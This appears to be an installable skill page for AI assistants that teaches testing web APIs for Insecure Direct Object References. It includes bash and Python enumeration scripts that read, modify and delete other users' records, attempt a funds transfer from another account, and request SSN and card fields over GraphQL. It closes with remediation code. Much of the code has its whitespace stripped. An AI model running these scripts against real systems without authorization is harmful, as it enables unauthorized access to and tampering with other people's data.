Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Testing for Insecure Direct Object References (IDOR)
High-Level Description
Insecure Direct Object References (IDOR) occur when an application uses user-supplied input to access objects directly without proper authorization checks. Attackers can modify parameters like IDs, filenames, or keys to access unauthorized resources belonging to other users. IDOR is a form of broken access control and can lead to unauthorized data disclosure, modification, or deletion.
What to Check
Common IDOR Parameters
User IDs (user_id, uid, userId)
Document/File IDs (doc_id, file_id)
Order IDs (order_id, orderId)
Account numbers
Transaction IDs
Message/Email IDs
UUIDs/GUIDs (if predictable)
Encoded values (Base64, hex)
Hashed values (if weak)
IDOR Locations
Location
Example
URL path
/api/users/123/profile
Query string
/download?file_id=456
Request body
{"user_id": 789}
Headers
X-User-ID: 123
Cookies
user_id=123
How to Test
Step 1: Identify Object References
# Look for numeric IDs in requests# Monitor API calls for patterns like:# /api/users/123# /api/orders/456# /api/documents/789# Common endpoints to check
endpoints=(
"/api/users/{id}"
)
"/api/users/{id}/profile"
"/api/users/{id}/orders"
"/api/users/{id}/documents"
"/api/accounts/{id}"
"/api/transactions/{id}"
"/api/messages/{id}"
"/api/invoices/{id}"
"/api/files/{id}"
# Replace {id} with actual and target IDs to test
Step 2: Test Sequential ID Manipulation
#!/bin/bash# Test accessing other users' resources by ID manipulation
TOKEN="your_auth_token"
OWN_ID=100
BASE_URL="https://target.com"# Test accessing nearby IDsforidin $(seq 95 105); doif [ "$id" != "$OWN_ID" ]; then
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"$BASE_URL/api/users/$id/profile")
status=$(echo"$response" | tail -1)
body=$(echo"$response" | sed '$d')
if [ "$status" == "200" ]; thenecho"[VULN] IDOR: Accessed user $id"echo"Data: $(echo $body | head -c 200)"fifidone
Step 3: Test IDOR in Different HTTP Methods
#!/bin/bash# Test IDOR across HTTP methods
TOKEN="your_auth_token"
TARGET_ID=101 # Other user's ID
BASE_URL="https://target.com"# GET - Read dataecho"=== Testing GET ==="
curl -s -X GET "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN"# PUT - Modify dataecho"=== Testing PUT ==="
curl -s -X PUT "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Hacked"}'# DELETE - Delete resourceecho"=== Testing DELETE ==="
curl -s -X DELETE "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN"# POST - Create with someone else's IDecho"=== Testing POST ==="
curl -s -X POST "$BASE_URL/api/users/$TARGET_ID/orders" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product": "item1"}'
Step 4: Test UUID/GUID Enumeration
#!/bin/bash# UUIDs are not immune to IDOR if they can be discovered# Check if UUIDs are exposed in:# - API responses listing resources# - URL referer headers# - JavaScript source code# - Error messages# - Public profiles# Test with discovered UUIDs
curl -s "https://target.com/api/documents/550e8400-e29b-41d4-a716-446655440000" \
-H "Authorization: Bearer $TOKEN"# Check if UUID format validation is enforced# Invalid UUIDs might reveal information
curl -s "https://target.com/api/documents/invalid-uuid" \
-H "Authorization: Bearer $TOKEN"
Step 5: Test Encoded/Hashed References
#!/bin/bash# Test Base64 encoded IDs# Decode current reference
current_ref="MTIz"# Base64 of "123"
decoded=$(echo"$current_ref" | base64 -d)
echo"Decoded: $decoded"# Encode other IDsforidin {120..130}; do
encoded=$(echo -n "$id" | base64)
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/data/$encoded" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" == "200" ]; thenecho"[VULN] IDOR with encoded ID $id ($encoded)"fidone# Test hex encoded IDsforidin {120..130}; do
hex=$(printf'%x'$id)
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/data/$hex" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" == "200" ]; thenecho"[VULN] IDOR with hex ID $hex"fidone
Step 6: Test IDOR in Request Body
# IDOR in JSON body
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from_account": "OTHER_USER_ACCOUNT",
"to_account": "MY_ACCOUNT",
"amount": 100
}'# IDOR with user_id in body
curl -s -X GET "https://target.com/api/user/orders" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"user_id": 101}'# IDOR in form data
curl -s -X POST "https://target.com/api/export" \
-H "Authorization: Bearer $TOKEN" \
-d "user_id=101&format=csv"
Step 7: Comprehensive IDOR Tester
#!/usr/bin/env python3import requests
import base64
import json
from concurrent.futures import ThreadPoolExecutor
classIDORTester:
def__init__(self, base_url, auth_token, own_id):
self.base_url = base_url
self.own_id = own_id
self.session = requests.Session()
self.session.headers.update({
"Authorization": f"Bearer {auth_token}",
"Content-Type": "application/json"
})
self.vulnerabilities = []
deftest_numeric_idor(self, endpoint_template, id_range=range(1, 100)):
"""Test numeric ID manipulation"""print(f"\n[*] Testing numeric IDOR on: {endpoint_template}")
for test_id in id_range:
if test_id == self.own_id:
continue
endpoint = endpoint_template.replace("{id}", str(test_id))
try:
response = self.session.get(f"{self.base_url}{endpoint}")
if response.status_code == 200:
# Check if we got actual datatry:
data = response.json()
if data andlen(str(data)) > 10:
print(f"[VULN] IDOR at ID {test_id}: {endpoint}")
self.vulnerabilities.append({
"type": "numeric",
"endpoint": endpoint,
"id": test_id,
"method": "GET"
})
except:
passexcept Exception as e:
passreturnself.vulnerabilities
deftest_write_idor(self, endpoint_template, test_ids):
"""Test IDOR for write operations"""print(f"\n[*] Testing write IDOR on: {endpoint_template}")
methods = ["PUT", "PATCH", "DELETE"]
for test_id in test_ids:
if test_id == self.own_id:
continue
endpoint = endpoint_template.replace("{id}", str(test_id))
for method in methods:
try:
if method == "DELETE":
# Don't actually delete - just test response
response = self.session.request(
method,
f"{self.base_url}{endpoint}",
timeout=5
)
else:
response = self.session.request(
method,
f"{self.base_url}{endpoint}",
json={"test": "data"},
timeout=5
)
if response.status_code in [200, 204]:
print(f"[VULN] Write IDOR: {method}{endpoint}")
self.vulnerabilities.append({
"type": "write",
"endpoint": endpoint,
"id": test_id,
"method": method
})
except:
passreturnself.vulnerabilities
deftest_body_idor(self, endpoint, param_name, test_ids):
"""Test IDOR in request body"""print(f"\n[*] Testing body IDOR on: {endpoint} ({param_name})")
for test_id in test_ids:
if test_id == self.own_id:
continuetry:
response = self.session.post(
f"{self.base_url}{endpoint}",
json={param_name: test_id}
)
if response.status_code == 200:
print(f"[VULN] Body IDOR with {param_name}={test_id}")
self.vulnerabilities.append({
"type": "body",
"endpoint": endpoint,
"parameter": param_name,
"id": test_id
})
except:
passreturnself.vulnerabilities
deftest_encoded_idor(self, endpoint_template, test_ids, encoding='base64'):
"""Test IDOR with encoded IDs"""print(f"\n[*] Testing {encoding} encoded IDOR on: {endpoint_template}")
for test_id in test_ids:
if test_id == self.own_id:
continueif encoding == 'base64':
encoded = base64.b64encode(str(test_id).encode()).decode()
elif encoding == 'hex':
encoded = hex(test_id)[2:]
else:
encoded = str(test_id)
endpoint = endpoint_template.replace("{id}", encoded)
try:
response = self.session.get(f"{self.base_url}{endpoint}")
if response.status_code == 200:
print(f"[VULN] Encoded IDOR: {test_id} -> {encoded}")
self.vulnerabilities.append({
"type": f"encoded_{encoding}",
"endpoint": endpoint,
"original_id": test_id,
"encoded_id": encoded
})
except:
passreturnself.vulnerabilities
deftest_parameter_pollution(self, endpoint, param_name):
"""Test HTTP Parameter Pollution for IDOR"""print(f"\n[*] Testing HPP IDOR on: {endpoint}")
# Test sending multiple IDs
payloads = [
f"{param_name}={self.own_id}&{param_name}=101",
f"{param_name}=101&{param_name}={self.own_id}",
f"{param_name}[]={self.own_id}&{param_name}[]=101",
]
for payload in payloads:
try:
response = self.session.get(
f"{self.base_url}{endpoint}?{payload}"
)
if response.status_code == 200:
# Check if other user's data returnedif"101"in response.text orstr(101) in response.text:
print(f"[VULN] HPP IDOR: {payload}")
self.vulnerabilities.append({
"type": "hpp",
"endpoint": endpoint,
"payload": payload
})
except:
passreturnself.vulnerabilities
defgenerate_report(self):
"""Generate IDOR testing report"""print("\n" + "="*60)
print("IDOR TESTING REPORT")
print("="*60)
ifnotself.vulnerabilities:
print("\nNo IDOR vulnerabilities found.")
returnprint(f"\nTotal vulnerabilities: {len(self.vulnerabilities)}\n")
# Group by type
by_type = {}
for vuln inself.vulnerabilities:
vuln_type = vuln['type']
if vuln_type notin by_type:
by_type[vuln_type] = []
by_type[vuln_type].append(vuln)
for vuln_type, vulns in by_type.items():
print(f"\n{vuln_type.upper()} ({len(vulns)} findings):")
for v in vulns:
print(f" - {v.get('endpoint', v)}")
# Usage
tester = IDORTester(
base_url="https://target.com",
auth_token="your_token_here",
own_id=100
)
# Test various endpoints
endpoints = [
"/api/users/{id}/profile",
"/api/users/{id}/orders",
"/api/accounts/{id}",
"/api/documents/{id}",
]
for endpoint in endpoints:
tester.test_numeric_idor(endpoint, range(95, 110))
tester.test_write_idor(endpoint, [101, 102, 103])
# Test body IDOR
tester.test_body_idor("/api/user/data", "user_id", [101, 102, 103])
# Generate report
tester.generate_report()
Step 8: Test GraphQL IDOR
# GraphQL IDOR testing
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(id: 101) { id name email ssn creditCard } }"
}'# Test with variables
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "query GetUser($id: ID!) { user(id: $id) { id name email } }",
"variables": {"id": "101"}
}'# Enumerate using introspection
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'
Tools
IDOR Testing
Tool
Description
Usage
Burp Intruder
ID enumeration
Numeric/payload fuzzing
Autorize (Burp)
Authorization testing
Compare responses
OWASP ZAP
Active scanning
Automated testing
Postman
API testing
Collection runner
ID Discovery
Tool
Description
Burp Logger++
Request logging
ParamMiner
Parameter discovery
JavaScript analysis
Extract IDs from code
Remediation Guide
1. Implement Authorization Checks
from functools import wraps
from flask import request, g, abort
defauthorize_resource_access(resource_type):
"""Decorator to verify resource ownership"""defdecorator(f):
@wraps(f)defdecorated_function(*args, **kwargs):
resource_id = kwargs.get('id')
# Get resource from database
resource = get_resource(resource_type, resource_id)
ifnot resource:
abort(404)
# Check ownership or admin statusif resource.owner_id != g.current_user.id:
ifnot g.current_user.has_role('admin'):
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
# Usage@app.route('/api/documents/<int:id>')@require_auth@authorize_resource_access('document')defget_document(id):
return Document.query.get(id).to_json()
2. Use Indirect References
import secrets
import hashlib
classIndirectReferenceMap:
"""Map direct IDs to indirect references"""def__init__(self, user_id):
self.user_id = user_id
self.cache = {}
defcreate_reference(self, direct_id, resource_type):
"""Create an indirect reference for a resource"""# Generate unique indirect reference
seed = f"{self.user_id}:{resource_type}:{direct_id}:{secrets.token_hex(8)}"
indirect_ref = hashlib.sha256(seed.encode()).hexdigest()[:16]
# Store mapping in database (per user session)
IndirectMapping.create(
user_id=self.user_id,
indirect_ref=indirect_ref,
direct_id=direct_id,
resource_type=resource_type
)
return indirect_ref
defresolve_reference(self, indirect_ref, resource_type):
"""Resolve indirect reference to direct ID"""
mapping = IndirectMapping.query.filter_by(
user_id=self.user_id,
indirect_ref=indirect_ref,
resource_type=resource_type
).first()
ifnot mapping:
returnNonereturn mapping.direct_id
# Usage@app.route('/api/documents/<ref>')@require_authdefget_document(ref):
ref_map = IndirectReferenceMap(current_user.id)
document_id = ref_map.resolve_reference(ref, 'document')
ifnot document_id:
abort(404)
return Document.query.get(document_id).to_json()
3. Query-Based Authorization
from sqlalchemy import and_
classSecureResourceQuery:
"""Always include ownership in queries""" @staticmethoddefget_user_document(document_id, user_id):
"""Get document only if user owns it"""return Document.query.filter(
and_(
Document.id == document_id,
Document.owner_id == user_id
)
).first()
@staticmethoddefget_user_orders(user_id):
"""Get orders for specific user only"""return Order.query.filter_by(user_id=user_id).all()
# Usage in routes@app.route('/api/documents/<int:id>')@require_authdefget_document(id):
document = SecureResourceQuery.get_user_document(id, current_user.id)
ifnot document:
abort(404) # Don't reveal existencereturn document.to_json()
4. Use UUIDs Instead of Sequential IDs
import uuid
from sqlalchemy.dialects.postgresql import UUID
classDocument(db.Model):
# Use UUID as primary key instead of sequential integerid = db.Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
owner_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
content = db.Column(db.Text)
# Still implement authorization checks - UUIDs are NOT a security control